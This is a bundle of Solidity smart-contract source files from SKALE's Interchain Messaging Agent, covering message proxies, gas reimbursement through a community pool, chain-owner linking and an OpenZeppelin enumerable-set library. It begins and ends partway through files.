bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash),
"Not enough permissions to register extra contract"
);
require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet");
_registerExtraContract(schainHash, extraContract);
}
function removeExtraContract(string memory schainName, address extraContract) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash),
"Not enough permissions to register extra contract"
);
require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet");
_removeExtraContract(schainHash, extraContract);
}
/**
* @dev Posts incoming message from `fromSchainName`.
*
* Requirements:
*
* - `msg.sender` must be authorized caller.
* - `fromSchainName` must be initialized.
* - `startingCounter` must be equal to the chain's incoming message counter.
* - If destination chain is Mainnet, message signature must be valid.
*/
function postIncomingMessages(
string calldata fromSchainName,
uint256 startingCounter,
Message[] calldata messages,
Signature calldata sign
)
external
override
{
uint256 gasTotal = gasleft();
bytes32 fromSchainHash = keccak256(abi.encodePacked(fromSchainName));
require(_checkSchainBalance(fromSchainHash), "Schain wallet has not enough funds");
require(connectedChains[fromSchainHash].inited, "Chain is not initialized");
require(messages.length <= MESSAGES_LENGTH, "Too many messages");
require(
startingCounter == connectedChains[fromSchainHash].incomingMessageCounter,
"Starting counter is not equal to incoming message counter");
require(_verifyMessages(fromSchainName, _hashedArray(messages), sign), "Signature is not verified");
uint additionalGasPerMessage =
(gasTotal - gasleft() + headerMessageGasCost + messages.length * messageGasCost) / messages.length;
uint notReimbursedGas = 0;
for (uint256 i = 0; i < messages.length; i++) {
gasTotal = gasleft();
if (registryContracts[bytes32(0)][messages[i].destinationContract]) {
address receiver = _getGasPayer(fromSchainHash, messages[i], startingCounter + i);
_callReceiverContract(fromSchainHash, messages[i], startingCounter + i);
notReimbursedGas += communityPool.refundGasByUser(
fromSchainHash,
payable(msg.sender),
receiver,
gasTotal - gasleft() + additionalGasPerMessage
);
} else {
_callReceiverContract(fromSchainHash, messages[i], startingCounter + i);
notReimbursedGas += gasTotal - gasleft() + additionalGasPerMessage;
}
}
connectedChains[fromSchainHash].incomingMessageCounter += messages.length;
communityPool.refundGasBySchainWallet(fromSchainHash, payable(msg.sender), notReimbursedGas);
}
/**
* @dev Sets headerMessageGasCost to a new value
*
* Requirements:
*
* - `msg.sender` must be granted as CONSTANT_SETTER_ROLE.
*/
function setNewHeaderMessageGasCost(uint256 newHeaderMessageGasCost) external onlyConstantSetter {
emit GasCostMessageHeaderWasChanged(headerMessageGasCost, newHeaderMessageGasCost);
headerMessageGasCost = newHeaderMessageGasCost;
}
/**
* @dev Sets messageGasCost to a new value
*
* Requirements:
*
* - `msg.sender` must be granted as CONSTANT_SETTER_ROLE.
*/
function setNewMessageGasCost(uint256 newMessageGasCost) external onlyConstantSetter {
emit GasCostMessageWasChanged(messageGasCost, newMessageGasCost);
messageGasCost = newMessageGasCost;
}
/**
* @dev Checks whether chain is currently connected.
*
* Note: Mainnet chain does not have a public key, and is implicitly
* connected to MessageProxy.
*
* Requirements:
*
* - `schainName` must not be Mainnet.
*/
function isConnectedChain(
string memory schainName
)
public
view
override
returns (bool)
{
require(keccak256(abi.encodePacked(schainName)) != MAINNET_HASH, "Schain id can not be equal Mainnet");
return super.isConnectedChain(schainName);
}
// Create a new message proxy
function initialize(IContractManager contractManagerOfSkaleManagerValue) public virtual override initializer {
SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue);
MessageProxy.initializeMessageProxy(1e6);
headerMessageGasCost = 70000;
messageGasCost = 8790;
}
/**
* @dev Converts calldata structure to memory structure and checks
* whether message BLS signature is valid.
*/
function _verifyMessages(
string calldata fromSchainName,
bytes32 hashedMessages,
MessageProxyForMainnet.Signature calldata sign
)
internal
view
returns (bool)
{
return ISchains(
contractManagerOfSkaleManager.getContract("Schains")
).verifySchainSignature(
sign.blsSignature[0],
sign.blsSignature[1],
hashedMessages,
sign.counter,
sign.hashA,
sign.hashB,
fromSchainName
);
}
function _checkSchainBalance(bytes32 schainHash) internal view returns (bool) {
return IWallets(
contractManagerOfSkaleManager.getContract("Wallets")
).getSchainBalance(schainHash) >= (MESSAGES_LENGTH + 1) * gasLimit * tx.gasprice;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Twin.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
* @author Dmytro Stebaiev
* @author Vadim Yavorsky
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "./MessageProxyForMainnet.sol";
import "./SkaleManagerClient.sol";
abstract contract Twin is SkaleManagerClient {
MessageProxyForMainnet public messageProxy;
mapping(bytes32 => address) public schainLinks;
bytes32 public constant LINKER_ROLE = keccak256("LINKER_ROLE");
modifier onlyMessageProxy() {
require(msg.sender == address(messageProxy), "Sender is not a MessageProxy");
_;
}
/**
* @dev Binds a contract on mainnet with his twin on schain
*
* Requirements:
*
* - `msg.sender` must be schain owner or has required role.
* - SKALE chain must not already be added.
* - Address of contract on schain must be non-zero.
*/
function addSchainContract(string calldata schainName, address contractReceiver) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(LINKER_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash), "Not authorized caller"
);
require(schainLinks[schainHash] == address(0), "SKALE chain is already set");
require(contractReceiver != address(0), "Incorrect address of contract receiver on Schain");
schainLinks[schainHash] = contractReceiver;
}
/**
* @dev Removes connection with contract on schain
*
* Requirements:
*
* - `msg.sender` must be schain owner or has required role
* - SKALE chain must already be set.
*/
function removeSchainContract(string calldata schainName) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(LINKER_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash), "Not authorized caller"
);
require(schainLinks[schainHash] != address(0), "SKALE chain is not set");
delete schainLinks[schainHash];
}
function hasSchainContract(string calldata schainName) external view returns (bool) {
return schainLinks[keccak256(abi.encodePacked(schainName))] != address(0);
}
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
MessageProxyForMainnet newMessageProxy
)
public
virtual
initializer
{
SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue);
messageProxy = newMessageProxy;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* SkaleManagerClient.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/IContractManager.sol";
import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol";
/**
* @title SkaleManagerClient - contract that knows ContractManager
* and makes calls to SkaleManager contracts
* @author Artem Payvin
* @author Dmytro Stebaiev
*/
contract SkaleManagerClient is Initializable, AccessControlEnumerableUpgradeable {
IContractManager public contractManagerOfSkaleManager;
modifier onlySchainOwner(string memory schainName) {
require(
isSchainOwner(msg.sender, keccak256(abi.encodePacked(schainName))),
"Sender is not an Schain owner"
);
_;
}
/**
* @dev Checks whether sender is owner of SKALE chain
*/
function isSchainOwner(address sender, bytes32 schainHash) public view returns (bool) {
address skaleChainsInternal = contractManagerOfSkaleManager.getContract("SchainsInternal");
return ISchainsInternal(skaleChainsInternal).isOwnerAddress(sender, schainHash);
}
/**
* @dev initialize - sets current address of ContractManager of SkaleManager
* @param newContractManagerOfSkaleManager - current address of ContractManager of SkaleManager
*/
function initialize(
IContractManager newContractManagerOfSkaleManager
)
public
virtual
initializer
{
AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
contractManagerOfSkaleManager = newContractManagerOfSkaleManager;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IWallets - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IWallets {
function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external;
function rechargeSchainWallet(bytes32 schainId) external payable;
function getSchainBalance(bytes32 schainHash) external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchains.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchains {
function verifySchainSignature(
uint256 signA,
uint256 signB,
bytes32 hash,
uint256 counter,
uint256 hashA,
uint256 hashB,
string calldata schainName
)
external
view
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* MessageProxy.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaiev
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "./interfaces/IMessageReceiver.sol";
import "./interfaces/IGasReimbursable.sol";
abstract contract MessageProxy is AccessControlEnumerableUpgradeable {
using AddressUpgradeable for address;
bytes32 public constant MAINNET_HASH = keccak256(abi.encodePacked("Mainnet"));
bytes32 public constant CHAIN_CONNECTOR_ROLE = keccak256("CHAIN_CONNECTOR_ROLE");
bytes32 public constant EXTRA_CONTRACT_REGISTRAR_ROLE = keccak256("EXTRA_CONTRACT_REGISTRAR_ROLE");
bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE");
uint256 public constant MESSAGES_LENGTH = 10;
struct ConnectedChainInfo {
// message counters start with 0
uint256 incomingMessageCounter;
uint256 outgoingMessageCounter;
bool inited;
}
struct Message {
address sender;
address destinationContract;
bytes data;
}
struct Signature {
uint256[2] blsSignature;
uint256 hashA;
uint256 hashB;
uint256 counter;
}
// schainHash => ConnectedChainInfo
mapping(bytes32 => ConnectedChainInfo) public connectedChains;
// schainHash => contract address => allowed
mapping(bytes32 => mapping(address => bool)) public registryContracts;
uint256 public gasLimit;
/**
* @dev Emitted for every outgoing message to `dstChain`.
*/
event OutgoingMessage(
bytes32 indexed dstChainHash,
uint256 indexed msgCounter,
address indexed srcContract,
address dstContract,
bytes data
);
event PostMessageError(
uint256 indexed msgCounter,
bytes message
);
event GasLimitWasChanged(
uint256 oldValue,
uint256 newValue
);
modifier onlyChainConnector() {
require(hasRole(CHAIN_CONNECTOR_ROLE, msg.sender), "CHAIN_CONNECTOR_ROLE is required");
_;
}
modifier onlyExtraContractRegistrar() {
require(hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender), "EXTRA_CONTRACT_REGISTRAR_ROLE is required");
_;
}
modifier onlyConstantSetter() {
require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "Not enough permissions to set constant");
_;
}
function initializeMessageProxy(uint newGasLimit) public initializer {
AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(CHAIN_CONNECTOR_ROLE, msg.sender);
_setupRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender);
_setupRole(CONSTANT_SETTER_ROLE, msg.sender);
emit GasLimitWasChanged(gasLimit, newGasLimit);
gasLimit = newGasLimit;
}
// Registration state detection
function isConnectedChain(
string memory schainName
)
public
view
virtual
returns (bool)
{
return connectedChains[keccak256(abi.encodePacked(schainName))].inited;
}
/**
* @dev Allows LockAndData to add a `schainName`.
*
* Requirements:
*
* - `msg.sender` must be SKALE Node address.
* - `schainName` must not be "Mainnet".
* - `schainName` must not already be added.
*/
function addConnectedChain(string calldata schainName) external virtual;
/**
* @dev Allows LockAndData to remove connected chain from this contract.
*
* Requirements:
*
* - `msg.sender` must be LockAndData contract.
* - `schainName` must be initialized.
*/
function removeConnectedChain(string memory schainName) public virtual onlyChainConnector {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(connectedChains[schainHash].inited, "Chain is not initialized");
delete connectedChains[schainHash];
}
/**
* @dev Sets gasLimit to a new value
*
* Requirements:
*
* - `msg.sender` must be granted CONSTANT_SETTER_ROLE.
*/
function setNewGasLimit(uint256 newGasLimit) external onlyConstantSetter {
emit GasLimitWasChanged(gasLimit, newGasLimit);
gasLimit = newGasLimit;
}
/**
* @dev Posts message from this contract to `targetSchainName` MessageProxy contract.
* This is called by a smart contract to make a cross-chain call.
*
* Requirements:
*
* - `targetSchainName` must be initialized.
*/
function postOutgoingMessage(
bytes32 targetChainHash,
address targetContract,
bytes memory data
)
public
virtual
{
require(connectedChains[targetChainHash].inited, "Destination chain is not initialized");
require(
registryContracts[bytes32(0)][msg.sender] ||
registryContracts[targetChainHash][msg.sender],
"Sender contract is not registered"
);
emit OutgoingMessage(
targetChainHash,
connectedChains[targetChainHash].outgoingMessageCounter,
msg.sender,
targetContract,
data
);
connectedChains[targetChainHash].outgoingMessageCounter += 1;
}
function postIncomingMessages(
string calldata fromSchainName,
uint256 startingCounter,
Message[] calldata messages,
Signature calldata sign
)
external
virtual;
function registerExtraContractForAll(address extraContract) external onlyExtraContractRegistrar {
require(extraContract.isContract(), "Given address is not a contract");
require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered");
registryContracts[bytes32(0)][extraContract] = true;
}
function removeExtraContractForAll(address extraContract) external onlyExtraContractRegistrar {
require(registryContracts[bytes32(0)][extraContract], "Extra contract is not registered");
delete registryContracts[bytes32(0)][extraContract];
}
/**
* @dev Checks whether contract is currently connected to
* send messages to chain or receive messages from chain.
*/
function isContractRegistered(
string calldata schainName,
address contractAddress
)
external
view
returns (bool)
{
return registryContracts[keccak256(abi.encodePacked(schainName))][contractAddress] ||
registryContracts[bytes32(0)][contractAddress];
}
/**
* @dev Returns number of outgoing messages to some schain
*
* Requirements:
*
* - `targetSchainName` must be initialized.
*/
function getOutgoingMessagesCounter(string calldata targetSchainName)
external
view
returns (uint256)
{
bytes32 dstChainHash = keccak256(abi.encodePacked(targetSchainName));
require(connectedChains[dstChainHash].inited, "Destination chain is not initialized");
return connectedChains[dstChainHash].outgoingMessageCounter;
}
/**
* @dev Returns number of incoming messages from some schain
*
* Requirements:
*
* - `fromSchainName` must be initialized.
*/
function getIncomingMessagesCounter(string calldata fromSchainName)
external
view
returns (uint256)
{
bytes32 srcChainHash = keccak256(abi.encodePacked(fromSchainName));
require(connectedChains[srcChainHash].inited, "Source chain is not initialized");
return connectedChains[srcChainHash].incomingMessageCounter;
}
// private
function _addConnectedChain(bytes32 schainHash) internal onlyChainConnector {
require(!connectedChains[schainHash].inited,"Chain is already connected");
connectedChains[schainHash] = ConnectedChainInfo({
incomingMessageCounter: 0,
outgoingMessageCounter: 0,
inited: true
});
}
function _callReceiverContract(
bytes32 schainHash,
Message calldata message,
uint counter
)
internal
returns (address)
{
try IMessageReceiver(message.destinationContract).postMessage{gas: gasLimit}(
schainHash,
message.sender,
message.data
) returns (address receiver) {
return receiver;
} catch Error(string memory reason) {
emit PostMessageError(
counter,
bytes(reason)
);
return address(0);
} catch (bytes memory revertData) {
emit PostMessageError(
counter,
revertData
);
return address(0);
}
}
function _registerExtraContract(
bytes32 chainHash,
address extraContract
)
internal
{
require(extraContract.isContract(), "Given address is not a contract");
require(!registryContracts[chainHash][extraContract], "Extra contract is already registered");
require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered for all chains");
registryContracts[chainHash][extraContract] = true;
}
function _removeExtraContract(
bytes32 chainHash,
address extraContract
)
internal
{
require(registryContracts[chainHash][extraContract], "Extra contract is not registered");
delete registryContracts[chainHash][extraContract];
}
function _getGasPayer(
bytes32 schainHash,
Message calldata message,
uint counter
)
internal
returns (address)
{
try IGasReimbursable(message.destinationContract).gasPayer{gas: gasLimit}(
schainHash,
message.sender,
message.data
) returns (address receiver) {
return receiver;
} catch Error(string memory reason) {
emit PostMessageError(
counter,
bytes(reason)
);
return address(0);
} catch (bytes memory revertData) {
emit PostMessageError(
counter,
revertData
);
return address(0);
}
}
/**
* @dev Returns hash of message array.
*/
function _hashedArray(Message[] calldata messages) internal pure returns (bytes32) {
bytes memory data;
for (uint256 i = 0; i < messages.length; i++) {
data = abi.encodePacked(
data,
bytes32(bytes20(messages[i].sender)),
bytes32(bytes20(messages[i].destinationContract)),
messages[i].data
);
}
return keccak256(data);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
CommunityPool.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "../Messages.sol";
import "./MessageProxyForMainnet.sol";
import "./Linker.sol";
/**
* @title CommunityPool
* @dev Contract contains logic to perform automatic self-recharging ether for nodes
*/
contract CommunityPool is Twin {
using AddressUpgradeable for address payable;
bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE");
mapping(address => mapping(bytes32 => uint)) private _userWallets;
mapping(address => mapping(bytes32 => bool)) public activeUsers;
uint public minTransactionGas;
event MinTransactionGasWasChanged(
uint oldValue,
uint newValue
);
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
Linker linker,
MessageProxyForMainnet messageProxyValue
)
external
initializer
{
Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue);
_setupRole(LINKER_ROLE, address(linker));
minTransactionGas = 1e6;
}
function refundGasByUser(
bytes32 schainHash,
address payable node,
address user,
uint gas
)
external
onlyMessageProxy
returns (uint)
{
require(node != address(0), "Node address must be set");
if (!activeUsers[user][schainHash]) {
return gas;
}
uint amount = tx.gasprice * gas;
if (amount > _userWallets[user][schainHash]) {
amount = _userWallets[user][schainHash];
}
_userWallets[user][schainHash] = _userWallets[user][schainHash] - amount;
if (!_balanceIsSufficient(schainHash, user, 0)) {
activeUsers[user][schainHash] = false;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeLockUserMessage(user)
);
}
node.sendValue(amount);
return (tx.gasprice * gas - amount) / tx.gasprice;
}
function refundGasBySchainWallet(
bytes32 schainHash,
address payable node,
uint gas
)
external
onlyMessageProxy
returns (bool)
{
if (gas > 0) {
IWallets(contractManagerOfSkaleManager.getContract("Wallets")).refundGasBySchain(
schainHash,
node,
gas,
false
);
}
return true;
}
/**
* @dev Allows `msg.sender` to recharge their wallet for further gas reimbursement.
*
* Requirements:
*
* - 'msg.sender` should recharge their gas wallet for amount that enough to reimburse any
* transaction from schain to mainnet.
*/
function rechargeUserWallet(string calldata schainName, address user) external payable {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
_balanceIsSufficient(schainHash, msg.sender, msg.value),
"Not enough ETH for transaction"
);
_userWallets[user][schainHash] = _userWallets[user][schainHash] + msg.value;
if (!activeUsers[user][schainHash]) {
activeUsers[user][schainHash] = true;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeActivateUserMessage(user)
);
}
}
function withdrawFunds(string calldata schainName, uint amount) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(amount <= _userWallets[msg.sender][schainHash], "Balance is too low");
_userWallets[msg.sender][schainHash] = _userWallets[msg.sender][schainHash] - amount;
if (
!_balanceIsSufficient(schainHash, msg.sender, 0) &&
activeUsers[msg.sender][schainHash]
) {
activeUsers[msg.sender][schainHash] = false;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeLockUserMessage(msg.sender)
);
}
payable(msg.sender).sendValue(amount);
}
function setMinTransactionGas(uint newMinTransactionGas) external {
require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "CONSTANT_SETTER_ROLE is required");
emit MinTransactionGasWasChanged(minTransactionGas, newMinTransactionGas);
minTransactionGas = newMinTransactionGas;
}
function getBalance(address user, string calldata schainName) external view returns (uint) {
return _userWallets[user][keccak256(abi.encodePacked(schainName))];
}
function checkUserBalance(bytes32 schainHash, address receiver) external view returns (bool) {
return activeUsers[receiver][schainHash] && _balanceIsSufficient(schainHash, receiver, 0);
}
function _balanceIsSufficient(bytes32 schainHash, address receiver, uint256 delta) private view returns (bool) {
return delta + _userWallets[receiver][schainHash] >= minTransactionGas * tx.gasprice;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
